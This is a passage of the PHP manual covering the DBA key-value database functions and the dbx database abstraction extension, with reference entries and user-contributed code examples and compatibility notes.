  • dba_exists() - Check whether key exists
  • dba_delete() - Delete DBA entry specified by key
  • dba_insert() - Insert entry
  • dba_replace() - Replace or insert entry
  • dba_key_split() - Splits a key in string representation into array representation

User Contributed Notes

khan666 at lycos dot co dot kr 05-Dec-2010 02:11
:: fetch array sort.

ex) TEST_DATA.DB

    1/korea/5000/word 1
    10/japan/25000/word 10
    21/china/130000/word 21
    2/usa/35000/word 2

<?php
# LIST SORT
$DB4_DATABASE = "TEST_DATA.DB4";
$DIV = "/";
$_FILE = "$DATA_DIR/HUTM_NETWORK_ROUTER.DB"; // DB4 FileName

$db  = dba_open($DB4_DATABASE,"r","db4");
$key = dba_firstkey($db);
$ii = 0;
while($key != NULL)
{
     $LIST[$ii] = explode($DIV,dba_fetch($key, $db));    // fetch array
    $key = dba_nextkey($db);
    $ii++;
}
dba_close($db);
$total = $ii; // total count

# date sort
sort($LIST,SORT_NUMERIC);    // numeric key sort ..

# list display
for($i=0;$i<$total;$i++)
{
    $oData = explode($DIV,$LIST[$i]);    // key + value (sort)

    $key   = trim(chop($oData[0])); # 키번호
    $name  = trim(chop($oData[1])); # 이름
    $count = trim(chop($oData[2])); # 수
    $word  = trim(chop($oData[3])); # 설명

    echo "$key / $name / $count / $word <br>\r\n";
}
?>

::result::

1/korea/5000/word 1
2/usa/35000/word 2
10/japan/25000/word 10
21/china/130000/word 21


Fetch first key

  • « dba_fetch
  • dba_handlers »
  • PHP Manual
  • DBA Functions
  • Fetch first key

dba_firstkey

(PHP 4, PHP 5)

dba_firstkey — Fetch first key

Description

string dba_firstkey ( resource $handle )

dba_firstkey() returns the first key of the database and resets the internal key pointer. This permits a linear search through the whole database.

Parameters

handle

The database handler, returned by dba_open() or dba_popen().

Return Values

Returns the key on success or FALSE on failure.

See Also

  • dba_nextkey() - Fetch next key
  • dba_key_split() - Splits a key in string representation into array representation
  • Example 2 in the DBA examples

User Contributed Notes

rcracer91 at gmail dot com 26-Aug-2009 09:21
I wondered why it wasn't already written, so I did because I think working with associative arrays is always as comfortable as can be

<?php
function dba_fetch_assoc($handle) {
    $assoc = array();
    for($k = dba_firstkey($handle); $k != false; $k = dba_nextkey($handle)) {
        $assoc[$k] = dba_fetch($k, $handle);
    }
    return $assoc;
}
?>
psycho-logic at excite dot com 22-Oct-2003 02:38
Looks like Jacky is using some DB object? I don't know if it's native to PHP or written on it's own... Anyways this is what I use:

$DBCon = dba_open("/tmp/test_db.db2", "r", "db2") or die("Uh oh, can't open the database :(");
if ($the_key = dba_firstkey($DBCon)) do {
    print("Key: $the_key    Value:");
    print dba_fetch($the_key, $DBCon);
    print("<BR>");
} while ($the_key = dba_nextkey($DBCon));
print ("<BR><BR><BR>Well looks like we're done here :-)");
jacky dot jackyhung dot net 17-Jan-2002 02:17
for ($key = dba_firstkey($this->handle); $key !== false; $key = dba_nextkey($this->handle)) {
            $keyset[] = $key;
        } // end for


List all the handlers available

  • « dba_firstkey
  • dba_insert »
  • PHP Manual
  • DBA Functions
  • List all the handlers available

dba_handlers

(PHP 4 >= 4.3.0, PHP 5)

dba_handlers — List all the handlers available

Description

array dba_handlers ([ bool $full_info = false ] )

dba_handlers() list all the handlers supported by this extension.

Parameters

full_info

Turns on/off full information display in the result.

Return Values

Returns an array of database handlers. If full_info is set to TRUE, the array will be associative with the handlers names as keys, and their version information as value. Otherwise, the result will be an indexed array of handlers names.

Note:

When the internal cdb library is used you will see cdb and cdb_make.

Examples

Example #1 dba_handlers() Example

<?php

echo "Available DBA handlers:\n";
foreach (dba_handlers(true) as $handler_name => $handler_version) {
  // clean the versions
  $handler_version = str_replace('$', '', $handler_version);
  echo " - $handler_name: $handler_version\n";
}

?>

The above example will output something similar to:

Available DBA handlers:
 - cdb: 0.75, Revision: 1.3.2.3
 - cdb_make: 0.75, Revision: 1.2.2.4
 - db2: Sleepycat Software: Berkeley DB 2.7.7: (08/20/99)
 - inifile: 1.0, Revision: 1.6.2.3
 - flatfile: 1.0, Revision: 1.5.2.4

User Contributed Notes

cbemerine at gmail dot com 06-Sep-2009 02:59
A quick way to see which DBA handlers, without version numbers, that have been built into your version of MySQL on your system, use var_dump with dba_handler() as follows:

<?php
var_dump ( "dba_handlers()" );
?>

Many distros build in these DBA Handlers by default:
array(5) { [0]=>  string(3) "cdb" [1]=>  string(8) "cdb_make" [2]=>  string(3) "db4" [3]=>  string(7) "inifile" [4]=>  string(8) "flatfile" }

using print and pre tags for readability:

array(5) {

  [0]=>

  string(3) "cdb"

  [1]=>

  string(8) "cdb_make"

  [2]=>

  string(3) "db4"

  [3]=>

  string(7) "inifile"

  [4]=>

  string(8) "flatfile"

}

Note there are issues with dba_insert and dba_replace without building for either GDBM or QDBM.
  Here are two sources for the list of DBA handlers: (http://www.php-editors.com/php_manual/ref.dba.html and http://dewa03.unep.org/manuals/php_manual/ref.dba.html; )

CDBM & CDB compiles have issues with updates, you can read databases and write new database files, but you will be prevented from using dba_replace() and you may have issues with dba_insert().

NDBM & DBM are depreciated.

DB2, DB3 & DB4 (Berkeley DB Sleepycat Software / Oracle)  Have read online about issues with dba_replace() and db4 specifically. Make sure you test your installation for correct usage of all DBA functions.

SDBM, TDB, TinyCDB were not listed on most of the sources I have found online.  Those DBA handlers and the names of the developers were listed on the QDBM source forge site.  How they interact with dba_replace() I do not know.  You should be aware of their existence.

GDBM and QDBM are the only other two DBA handlers I am aware of.  Both are reported to allow PHP's dba_replace() function to work correctly so either may be an acceptable option.  The following three restrictions of traditional DBM are not issues for either GDBM or QDBM: 1) a process can handle only one database;  2) the size of a key and a value is bounded;   3) a database file is sparse.

DBA handler benchmark compares QDBM, GDBM, NDBM, SDBM, TDB, CDB, BDB, QDBM-BT-ASC, QDBM-BT-RND, BDB-BT-ASC, BDB-BT-RND can be found here: (http://qdbm.sourceforge.net/benchmark.pdf);

QDBM seems to offer significant improvements in speed over the other DBA Handlers, test in your environment to verify the results.


Insert entry

  • « dba_handlers
  • dba_key_split »
  • PHP Manual
  • DBA Functions
  • Insert entry

dba_insert

(PHP 4, PHP 5)

dba_insert — Insert entry

Description

bool dba_insert ( string $key , string $value , resource $handle )

dba_insert() inserts the entry described with key and value into the database.

Parameters

key

The key of the entry to be inserted. If this key already exist in the database, this function will fail. Use dba_replace() if you need to replace an existent key.

value

The value to be inserted.

handle

The database handler, returned by dba_open() or dba_popen().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • dba_exists() - Check whether key exists
  • dba_delete() - Delete DBA entry specified by key
  • dba_fetch() - Fetch data specified by key
  • dba_replace() - Replace or insert entry

User Contributed Notes

khan666 at lycos dot co dot kr 03-Dec-2010 11:18
berkeleydb example.

<?php
    # DB4 CREATE & INSERT
    $_FILE   = "/DATA_DIR/TEST_DATA.DB";
    $DIV     = "\xFE";
    $inValue = "name".$DIV."0".$DIV."test value";

    $dbh   = dba_open($_FILE,"c","db4");
    dba_close($dbh);

    $dbh   = dba_open($_FILE,"w","db4");
    dba_insert(1,$inValue,$dbh);
    dba_close($dbh);
?>
istanbul2edinburgh 13-Jul-2006 04:02
here is a good example for this;

 $dbh = dba_open( "./data/products", "c", "gdbm" )
       or die( "Couldn't open database" );

 dba_insert( "Sonic Screwdriver", "23.20", $dbh);
 dba_insert( "Tricorder", "55.50", $dbh);
 dba_insert( "ORAC AI", "2200.50", $dbh);
 dba_insert( "HAL 2000", "4500.50", $dbh);

 dba_close( $dbh );

 you may find more about the topic in this URL:

http://www.samspublishing.com  /articles/article.asp?p=29742&seqNum=3&rl=1


Splits a key in string representation into array representation

  • « dba_insert
  • dba_list »
  • PHP Manual
  • DBA Functions
  • Splits a key in string representation into array representation

dba_key_split

(PHP 5)

dba_key_split — Splits a key in string representation into array representation

Description

mixed dba_key_split ( mixed $key )

dba_key_split() splits a key (string representation) into an array representation.

Parameters

key

The key in string representation.

Return Values

Returns an array of the form array(0 => group, 1 => value_name). This function will return FALSE if key is NULL or FALSE.

See Also

  • dba_firstkey() - Fetch first key
  • dba_nextkey() - Fetch next key
  • dba_fetch() - Fetch data specified by key

User Contributed Notes

There are no user contributed notes for this page.


List all open database files

  • « dba_key_split
  • dba_nextkey »
  • PHP Manual
  • DBA Functions
  • List all open database files

dba_list

(PHP 4 >= 4.3.0, PHP 5)

dba_list — List all open database files

Description

array dba_list ( void )

dba_list() list all open database files.

Return Values

An associative array, in the form resourceid => filename.

User Contributed Notes

There are no user contributed notes for this page.


Fetch next key

  • « dba_list
  • dba_open »
  • PHP Manual
  • DBA Functions
  • Fetch next key

dba_nextkey

(PHP 4, PHP 5)

dba_nextkey — Fetch next key

Description

string dba_nextkey ( resource $handle )

dba_nextkey() returns the next key of the database and advances the internal key pointer.

Parameters

handle

The database handler, returned by dba_open() or dba_popen().

Return Values

Returns the key on success or FALSE on failure.

See Also

  • dba_firstkey() - Fetch first key
  • dba_key_split() - Splits a key in string representation into array representation
  • Example 2 in the DBA examples

User Contributed Notes

There are no user contributed notes for this page.


Open database

  • « dba_nextkey
  • dba_optimize »
  • PHP Manual
  • DBA Functions
  • Open database

dba_open

(PHP 4, PHP 5)

dba_open — Open database

Description

resource dba_open ( string $path , string $mode [, string $handler [, mixed $... ]] )

dba_open() establishes a database instance for path with mode using handler.

Parameters

path

Commonly a regular path in your filesystem.

mode

It is r for read access, w for read/write access to an already existing database, c for read/write access and database creation if it doesn't currently exist, and n for create, truncate and read/write access. The database is created in BTree mode, other modes (like Hash or Queue) are not supported.

Additionally you can set the database lock method with the next char. Use l to lock the database with a .lck file or d to lock the databasefile itself. It is important that all of your applications do this consistently.

If you want to test the access and do not want to wait for the lock you can add t as third character. When you are absolutely sure that you do not require database locking you can do so by using - instead of l or d. When none of d, l or - is used, dba will lock on the database file as it would with d.

Note:

There can only be one writer for one database file. When you use dba on a web server and more than one request requires write operations they can only be done one after another. Also read during write is not allowed. The dba extension uses locks to prevent this. See the following table:

DBA locking
already open | mode = "rl" | mode = "rlt" | mode = "wl" | mode = "wlt" | mode = "rd" | mode = "rdt" | mode = "wd" | mode = "wdt"
not open | ok | ok | ok | ok | ok | ok | ok | ok
mode = "rl" | ok | ok | wait | false | illegal | illegal | illegal | illegal
mode = "wl" | wait | false | wait | false | illegal | illegal | illegal | illegal
mode = "rd" | illegal | illegal | illegal | illegal | ok | ok | wait | false
mode = "wd" | illegal | illegal | illegal | illegal | wait | false | wait | false
  • ok: the second call will be successfull.
  • wait: the second call waits until dba_close() is called for the first.
  • false: the second call returns false.
  • illegal: you must not mix "l" and "d" modifiers for mode parameter.

handler

The name of the handler which shall be used for accessing path. It is passed all optional parameters given to dba_open() and can act on behalf of them.

Return Values

Returns a positive handle on success or FALSE on failure.

Changelog

Version | Description
4.3.0 | It's possible to open database files over network connection. However in cases a socket connection will be used (as with http or ftp) the connection will be locked instead of the resource itself. This is important to know since in such cases locking is simply ignored on the resource and other solutions have to be found.

See Also

  • dba_popen() - Open database persistently
  • dba_close() - Close a DBA database

User Contributed Notes

dracoirs at gmail dot com 04-May-2010 12:10
Apache doesn't support Berkeley DB Btree, so you can't manipulate use db4 as the type of database if you want to do DBM authentication with Apache.

gdbm seemed to work fine though, even though it supposedly using Btree instead of hash.  It makes you wonder why Apache would use hash for one dbmtype versus btree for another.

So since Apache and PHP don't have options to choose the method for the Berkeley DBs, you are out of luck.
cbemerine at gmail dot com 06-Sep-2009 01:59
Note the “c” create flag does not work if MySQL was built with the “cdb” DBA handler compile option which is common for many distros.  By definition the cdb DBA handler is optimized for reading/writing and “no updates are allowed.”

<?php
$dbh = dba_open( "./data2/productz", "c", "cdb") or die( "Couldn't open Database" );
?>

instead use

<?php
$dbh = dba_open( "./data2/productz", "n", "cdb" ) or die( "Couldnt open Database" );
?>

generates this error message in the /var/log/apache2/error.log:
[Sun Sep 06 04:18:15 2009] [error] [client 192.168.1.125] PHP Warning:  dba_open(./data2/productz,c) [<a href='function.dba-open'>function.dba-open</a>]: Driver initialization failed for handler: cdb: Update operations are not supported in /var/www/projects/testcdb-c.php on line 43

see user contributed comment under dba_handlers() to see which DBA handlers are supported by your build of MySQL and note about using “cdb” compiled DBA systems:

also see user contributed comment under dba_replace() about incompatibilities with cdb DBA handler compiled MySQL systems.
mskala at ansuz dot sooke dot bc dot ca 16-May-2008 11:15
As of GDBM version 1.8.3, GDBM's underlying open call uses non-blocking calls to flock() on systems that have flock().  As a result, calls with "rd" or "wd" locking modes will return error ("Can't be reader" or "Can't be writer") instead of waiting.  Use "rl" or "wl" instead, to make PHP do its own locking external to GDBM.
trohit at blue bottle dot com 23-Nov-2007 12:34
Here's a simple example to use the dba_open function

<?php

$id = dba_open("/tmp/test.db", "n", "gdbm");

if (!$id) {
        echo "dba_open failed\n";
        exit;
}

dba_replace("key", "This is an example!", $id);

if (dba_exists("key", $id)) {
        echo dba_fetch("key", $id);
        dba_delete("key", $id);
}

dba_close($id);
?>
doppelbauer at gmail dot com 20-Oct-2006 04:36
Windows does not support locking the database. You may use $_ENV to determine the OS:

$locking = (stripos($_ENV['OS'],'windows') === false ? 'd' : 'l');
xy ät affenkrieger.de 30-Mar-2006 03:13
If you get some strange errors like
dba_open(): myDbFilename.db : Permission denied
than you are propably using PHP on a Windoze machine. You have to make sure that the following conditions are met:

1) Use an absolute path to your db file. Relative paths will cause problems with locking
2) Specify a locking mode - that's the second character of the mode-argument, or else opening a dba-file will cause several notices/warnings etc.

And a final, general note:
3) Always use the english PHP doc on this site - the translations are often old as hell and miss important informations

HTH, Nils.


Optimize database

  • « dba_open
  • dba_popen »
  • PHP Manual
  • DBA Functions
  • Optimize database

dba_optimize

(PHP 4, PHP 5)

dba_optimize — Optimize database

Description

bool dba_optimize ( resource $handle )

dba_optimize() optimizes the underlying database.

Parameters

handle

The database handler, returned by dba_open() or dba_popen().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • dba_sync() - Synchronize database

User Contributed Notes

doppelbauer at gmail dot com 17-Oct-2006 11:44
The difference between "dba_optimize" and "dba_sync":

Use "dba_optimize" to optimize a database, which usually consists of eliminating gaps between records created by deletes.

The "dba_sync" function will synchronize the view of the database in memory and its image on the disk. As you insert records, they may be cached in memory by the underlying engine. Other processes reading from the database will not see these new records until synchronization.
samuele at removethisnorsam dot org 04-Aug-2003 12:00
Note that the internal structure of each DB that needs to access etherogeneous data in a *fast* way it is not necessarily space-optimized. So, if you add-remove-substitute keys with data having different content length, the db continues to grow, wasting space. So, it is necessary, sometimes, to re-pack the db in order to remove unused data from the db itself. But it is important to remind that, even if the file grows, the data remain optimized and - obviously - the access continues to be fast. Further information are available at dba_replace() user-contributed notes.


Open database persistently

  • « dba_optimize
  • dba_replace »
  • PHP Manual
  • DBA Functions
  • Open database persistently

dba_popen

(PHP 4, PHP 5)

dba_popen — Open database persistently

Description

resource dba_popen ( string $path , string $mode [, string $handler [, mixed $... ]] )

dba_popen() establishes a persistent database instance for path with mode using handler.

Parameters

path

Commonly a regular path in your filesystem.

mode

It is r for read access, w for read/write access to an already existing database, c for read/write access and database creation if it doesn't currently exist, and n for create, truncate and read/write access.

handler

The name of the handler which shall be used for accessing path. It is passed all optional parameters given to dba_popen() and can act on behalf of them.

Return Values

Returns a positive handle on success or FALSE on failure.

See Also

  • dba_open() - Open database
  • dba_close() - Close a DBA database

User Contributed Notes

There are no user contributed notes for this page.


Replace or insert entry

  • « dba_popen
  • dba_sync »
  • PHP Manual
  • DBA Functions
  • Replace or insert entry

dba_replace

(PHP 4, PHP 5)

dba_replace — Replace or insert entry

Description

bool dba_replace ( string $key , string $value , resource $handle )

dba_replace() replaces or inserts the entry described with key and value into the database specified by handle.

Parameters

key

The key of the entry to be replaced.

value

The value to be replaced.

handle

The database handler, returned by dba_open() or dba_popen().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • dba_exists() - Check whether key exists
  • dba_delete() - Delete DBA entry specified by key
  • dba_fetch() - Fetch data specified by key
  • dba_insert() - Insert entry

User Contributed Notes

khan666 at lycos dot co dot kr 03-Dec-2010 11:24
berkeley db : fetch array & display example

<?php
# DB4 FETCH
$DB4_DATABASE = "/data/TEST_DATA.DB";

$db = dba_open($DB4_DATABASE,"r","db4");
$k  = dba_firstkey($db);

while($k != NULL)
{
      $AAA = explode("\xFE",dba_fetch($k, $db));
      echo "[key] $k => [value] $AAA[0] / $AAA[1] / $AAA[2] / $AAA[3] / $AAA[4] / $AAA[5]<br>\r\n";

    $k = dba_nextkey($db);
}
dba_close($db);
?>
cbemerine at gmail dot com 06-Sep-2009 03:36
QDBM and GDBM appear to be the only DBA handlers that will allow dba_replace to work correctly.  The DBA Handlers must be compiled or built into the version you are using.  See dba_handlers (http://www.php.net/manual/en/function.dba-handlers.php) for more specific information:

Also when you search online you will see mention of “security” related issue, supposedly, related to the dba_replace() function.  In every instance of the “security” issue documented online, the dba_open function specified the DBA handler option of “inifile”.  DBA handler “inifile” is intended for the management of ini files specifically.  Here are the dba_open and dba_replace code snippets related to this “security” issue:

<?php
$source=dba_open("/www/about.ini", "wlt", "inifile");
dba_replace("HOME","/www/",$source);
?>

I have also seen errors listed online with DB4 and use of the dba_replace function.  Though I am skeptical of those reports.  Unfortunately I do not have a database with the DB4 handlers compiled in to check if there is an issue with dba_replace and the DB4 DBA handler or not.  At least you are aware that there may be an issue and can check if need be.

Assuming the correct DBA handlers are “built” or compiled into your database when built for the packages you are using, there is probably not an issue with dba_replace() and actual database files.  If you experience a problem with dba_replace() make sure you build in DBA handlers QDBM or GDBM.

You can not build in both QDBM and GDBM together in the same build, however you probably can build in both INIFILE and FLATFILE with either QDBM or GDBM.  It is unclear if you can build in either db3 or db4 with QDBM or GDBM.  It appears that DB4, CDB, INIFILE and FLATFILE are often built together.

see User contributed notes for dba_handlers() and dba_open() related to CDB.
jelte dot werkhoven at itfy dot com 26-Sep-2002 04:24
Not only will dba_replace add extra entries when trying to replace an existing smaller one, it will always add a new entry if the size of the value differs from the existing entry. This is probably due to the nature of the datum struct in DBM-type databases (I work with gdbm), which consist of a void pointer and a integer containing the size of the memory pointed to. Padding the value should solve this.
swain at panix dot com 07-Nov-2001 08:03
Note that if you replace an existing entry with a larger one, it will actually create a new entry and the old one is simply lost. This is a memory leak in other words.

You might want to try padding your values to a certain size before putting them in the db file; for example, if you are storing web pages in the db, pad them out to the next 500 byte size with spaces, and strip the spaces when you read it out. This will go a long way in saving disk space. I've seen db files grow to several megabytes with only a couple hundred text files in them.


Synchronize database

  • « dba_replace
  • dbx »
  • PHP Manual
  • DBA Functions
  • Synchronize database

dba_sync

(PHP 4, PHP 5)

dba_sync — Synchronize database

Description

bool dba_sync ( resource $handle )

dba_sync() synchronizes the database. This will probably trigger a physical write to the disk, if supported.

Parameters

handle

The database handler, returned by dba_open() or dba_popen().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • dba_optimize() - Optimize database

User Contributed Notes

There are no user contributed notes for this page.


dbx

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • dbx Functions
    • dbx_close — Close an open connection/database
    • dbx_compare — Compare two rows for sorting purposes
    • dbx_connect — Open a connection/database
    • dbx_error — Report the error message of the latest function call in the module
    • dbx_escape_string — Escape a string so it can safely be used in an sql-statement
    • dbx_fetch_row — Fetches rows from a query-result that had the DBX_RESULT_UNBUFFERED flag set
    • dbx_query — Send a query and fetch all results (if any)
    • dbx_sort — Sort a result from a dbx_query by a custom sort function

User Contributed Notes

There are no user contributed notes for this page.


Introduction

The dbx module is a database abstraction layer (db 'X', where 'X' is a supported database). The dbx functions allow you to access all supported databases using a single calling convention. The dbx-functions themselves do not interface directly to the databases, but interface to the modules that are used to support these databases.

Note:

This extension has been moved to the » PECL repository and is no longer bundled with PHP as of PHP 5.1.0.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

To be able to use a database with the dbx-module, the module must be either linked or loaded into PHP, and the database module must be supported by the dbx-module. Currently, the following databases are supported, but others will follow:

  • FrontBase (available from PHP 4.1.0).
  • Microsoft SQL Server
  • MySQL
  • ODBC
  • PostgreSQL
  • Sybase-CT (available from PHP 4.2.0).
  • Oracle (oci8) (available from PHP 4.3.0).
  • SQLite (PHP 5).

Documentation for adding additional database support to dbx can be found at » http://www.guidance.nl/php/dbx/doc/.

User Contributed Notes

There are no user contributed notes for this page.


Installation

In order to have these functions available, you must compile PHP with dbx support by using the --enable-dbx option and all options for the databases that will be used, e.g. for MySQL you must also specify --with-mysql=[DIR] . To get other supported databases to work with the dbx-module refer to their specific documentation.

User Contributed Notes

There are no user contributed notes for this page.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

DBX Configuration Options
Name | Default | Changeable | Changelog
dbx.colnames_case | "unchanged" | PHP_INI_SYSTEM | Available since PHP 4.3.0. Removed in PHP 5.1.0.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

dbx.colnames_case string

Columns names can be returned "unchanged" or converted to "uppercase" or "lowercase". This directive can be overridden with a flag to dbx_query().

User Contributed Notes

There are no user contributed notes for this page.


Resource Types

There are two resource types used in the dbx module. The first one is the link-object for a database connection, the second a result-object which holds the result of a query.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

DBX_MYSQL (integer)
DBX_ODBC (integer)
DBX_PGSQL (integer)
DBX_MSSQL (integer)
DBX_FBSQL (integer)
DBX_OCI8 (integer) (available from PHP 4.3.0)
DBX_SYBASECT (integer)
DBX_SQLITE (integer) (PHP 5)
DBX_PERSISTENT (integer)
DBX_RESULT_INFO (integer)
DBX_RESULT_INDEX (integer)
DBX_RESULT_ASSOC (integer)
DBX_RESULT_UNBUFFERED (integer) (PHP 5)
DBX_COLNAMES_UNCHANGED (integer) (available from PHP 4.3.0)
DBX_COLNAMES_UPPERCASE (integer) (available from PHP 4.3.0)
DBX_COLNAMES_LOWERCASE (integer) (available from PHP 4.3.0)
DBX_CMP_NATIVE (integer)
DBX_CMP_TEXT (integer)
DBX_CMP_NUMBER (integer)
DBX_CMP_ASC (integer)
DBX_CMP_DESC (integer)

User Contributed Notes

There are no user contributed notes for this page.


dbx Functions

Table of Contents

  • dbx_close — Close an open connection/database
  • dbx_compare — Compare two rows for sorting purposes
  • dbx_connect — Open a connection/database
  • dbx_error — Report the error message of the latest function call in the module
  • dbx_escape_string — Escape a string so it can safely be used in an sql-statement
  • dbx_fetch_row — Fetches rows from a query-result that had the DBX_RESULT_UNBUFFERED flag set
  • dbx_query — Send a query and fetch all results (if any)
  • dbx_sort — Sort a result from a dbx_query by a custom sort function

User Contributed Notes

bart at mediawave dot nl 09-Jul-2004 03:45
Simple function for returning paged result sets.

<?php
// use: pagedQuery($link, $sql, $rows_per_page, $current_page)

function pagedQuery($link, $sql, $nrows = 10, $page = 1) {
    $handle = dbx_query($link, $sql, DBX_RESULT_UNBUFFERED);
    $result = new stdClass;
    $result->link = $this->link;
    $result->page = $page;
    $result->data = array();
    $result->info['name'] = array();
    $start = ($page - 1) * $nrows;
    $end = $start + $nrows;
    $result->rows = 0;
    while ($row = dbx_fetch_row($handle)) {
        $result->rows++;
        if (($result->rows > $start) && ($result->rows <= $end)) {
            $result->data[] = $row;
        }
    }
    if ($result->data[0]) {
        $result->cols = count($result->data[0]) / 2;
        $result->info['name'] = array_slice(array_keys($result->data[0]), $result->cols, $result->cols);
        $result->lastPage = ceil($result->rows / $nrows);
    }
    return $result;
}
?>
bart at mediawave dot nl 02-Jul-2004 05:12
Would like to confirm that dbx is at least three times faster than adodb with my application. However, once loaded, adodb has much more features and probably performs better in some situations then dbx.

One of the nice features that adodb has, is the way you can quickly make a dropdown menu from a query. Here's a similar function that works with a dbx result object:

<?php

// $result is the dbx_query result (It expects two fields)
// $name is the name of the dropdown field
// $selected is the option that should be selected
// $firstrow takes a string like "myvalue:myname"
// $attr can be used to add some extra attributes

function dropDown($result, $name, $selected, $firstRow, $attr) {
    $s = '<select name="'.$name.'" '.$attr.'>';
    if (is_string($firstRow))  {
        $row = explode(':', $firstRow);
        $s .= '<option value="'.$row[0].'">'.$row[1].'</option>';
    } else
        $s .= '<option></option>';
    foreach ($result->data as $row) {
        if ($row[0] == $selected)
            $s .= '<option value="'.$row[0].'" selected="selected">'.htmlspecialchars($row[1]).'</option>';
        else
            $s .= '<option value="'.$row[0].'">'.htmlspecialchars($row[1]).'</option>';
    }
    return $s.'</select>';
}

?>
rhcf at linux dot ime dot usp dot br 25-Nov-2003 10:52
BEWARE!!!

dbx_query allocate all retrieved data in an array on memory. If the query result is big (bigger then the memory_limit on php.ini), the result will be empty. So use dbx wih care.
carl [at] carlthompson [dot] net 07-Jun-2003 10:49
The above benchmark is very misleading. Unfortunately, I found out the hard way by porting my app to ADODB. Most PHP apps are going to be very short-lived therefore startup / setup time is a large factor. This benchmark does not measure that. Just include()ing the main ADODB file added 27ms to my app's startup time! Considering my app took only 16ms to run in total using DBX, the idea of switching to ADODB was DOA before running a single query.

In the end, the total time for my app went from 16ms with DBX to 49ms with ADODB. ADODB's powerful features are obviously not worth that kind of overhead.

Carl Thompson
jlim at natsoft dot com dot my 06-Feb-2003 04:35
For some benchmarks of dbx connecting to mysql compared to native mysql api, adodb, and others, see:
http://phplens.com/lens/adodb/
http://php.weblogs.com/2003/02/06#a2336


Close an open connection/database

  • « dbx Functions
  • dbx_compare »
  • PHP Manual
  • dbx Functions
  • Close an open connection/database

dbx_close

(PHP 4 >= 4.0.6, PHP 5 <= 5.0.5, PECL dbx >= 1.1.0)

dbx_close — Close an open connection/database

Description

int dbx_close ( object $link_identifier )

Parameters

link_identifier

The DBX link object to close.

Return Values

Returns 1 on success and 0 on errors.

Examples

Example #1 dbx_close() example

<?php
$link = dbx_connect(DBX_MYSQL, "localhost", "db", "username", "password")
    or die("Could not connect");

echo "Connected successfully";
dbx_close($link);
?>

Notes

Note:

Always refer to the module-specific documentation as well.

See Also

  • dbx_connect() - Open a connection/database

User Contributed Notes

There are no user contributed notes for this page.


Compare two rows for sorting purposes

  • « dbx_close
  • dbx_connect »
  • PHP Manual
  • dbx Functions
  • Compare two rows for sorting purposes

dbx_compare

(PHP 4 >= 4.1.0, PHP 5 <= 5.0.5, PECL dbx >= 1.1.0)

dbx_compare — Compare two rows for sorting purposes

Description

int dbx_compare ( array $row_a , array $row_b , string $column_key [, int $flags = DBX_CMP_ASC | DBX_CMP_NATIVE ] )

dbx_compare() is a helper function for dbx_sort() to ease the make and use of the custom sorting function.

Parameters

row_a

First row

row_b

Second row

column_key

The compared column

flags

The flags can be set to specify comparison direction:

  • DBX_CMP_ASC - ascending order
  • DBX_CMP_DESC - descending order
and the preferred comparison type:
  • DBX_CMP_NATIVE - no type conversion
  • DBX_CMP_TEXT - compare items as strings
  • DBX_CMP_NUMBER - compare items numerically
One of the direction and one of the type constant can be combined with bitwise OR operator (|).

Return Values

Returns 0 if the row_a[$column_key] is equal to row_b[$column_key], and 1 or -1 if the former is greater or is smaller than the latter one, respectively, or vice versa if the flag is set to DBX_CMP_DESC.

Examples

Example #1 dbx_compare() example

<?php
function user_re_order($a, $b)
{
    $rv = dbx_compare($a, $b, "parentid", DBX_CMP_DESC);
    if (!$rv) {
        $rv = dbx_compare($a, $b, "id", DBX_CMP_NUMBER);
    }
    return $rv;
}

$link   = dbx_connect(DBX_ODBC, "", "db", "username", "password")
    or die("Could not connect");

$result = dbx_query($link, "SELECT id, parentid, description FROM table ORDER BY id");
    // data in $result is now ordered by id

dbx_sort($result, "user_re_order");
    // date in $result is now ordered by parentid (descending), then by id

dbx_close($link);
?>

See Also

  • dbx_sort() - Sort a result from a dbx_query by a custom sort function

User Contributed Notes

There are no user contributed notes for this page.


Open a connection/database

  • « dbx_compare
  • dbx_error »
  • PHP Manual
  • dbx Functions
  • Open a connection/database

dbx_connect

(PHP 4 >= 4.0.6, PHP 5 <= 5.0.5, PECL dbx >= 1.1.0)

dbx_connect — Open a connection/database

Description

object dbx_connect ( mixed $module , string $host , string $database , string $username , string $password [, int $persistent ] )

Opens a connection to a database.

Parameters

module

The module parameter can be either a string or a constant, though the latter form is preferred. The possible values are given below, but keep in mind that they only work if the module is actually loaded.

  • DBX_MYSQL or "mysql"
  • DBX_ODBC or "odbc"
  • DBX_PGSQL or "pgsql"
  • DBX_MSSQL or "mssql"
  • DBX_FBSQL or "fbsql"
  • DBX_SYBASECT or "sybase_ct"
  • DBX_OCI8 or "oci8"
  • DBX_SQLITE or "sqlite"

host

The SQL server host

database

The database name

username

The username

password

The password

persistent

The persistent parameter can be set to DBX_PERSISTENT, if so, a persistent connection will be created.

The host, database, username and password parameters are expected, but not always used depending on the connect functions for the abstracted module.

Return Values

Returns an object on success, FALSE on error. If a connection has been made but the database could not be selected, the connection is closed and FALSE is returned.

The returned object has three properties:

database
It is the name of the currently selected database.
handle

It is a valid handle for the connected database, and as such it can be used in module-specific functions (if required).

<?php
$link = dbx_connect(DBX_MYSQL, "localhost", "db", "username", "password");
mysql_close($link->handle); // dbx_close($link) would be better here
?>

module
It is used internally by dbx only, and is actually the module number mentioned above.

Changelog

Version | Description
5.0.0 | Introduced DBX_SQLITE.
4.3.0 | Introduced DBX_OCI8.
4.2.0 | Introduced DBX_SYBASECT.
4.1.0 | Introduced DBX_FBSQL.

Examples

Example #1 dbx_connect() example

<?php
$link = dbx_connect(DBX_ODBC, "", "db", "username", "password", DBX_PERSISTENT)
    or die("Could not connect");

echo "Connected successfully";
dbx_close($link);
?>

Notes

Note:

Always refer to the module-specific documentation as well.

See Also

  • dbx_close() - Close an open connection/database

User Contributed Notes

Anonymous 06-Dec-2007 08:58
If you get an error:
"Error while trying to retrieve text for error ORA-12154"
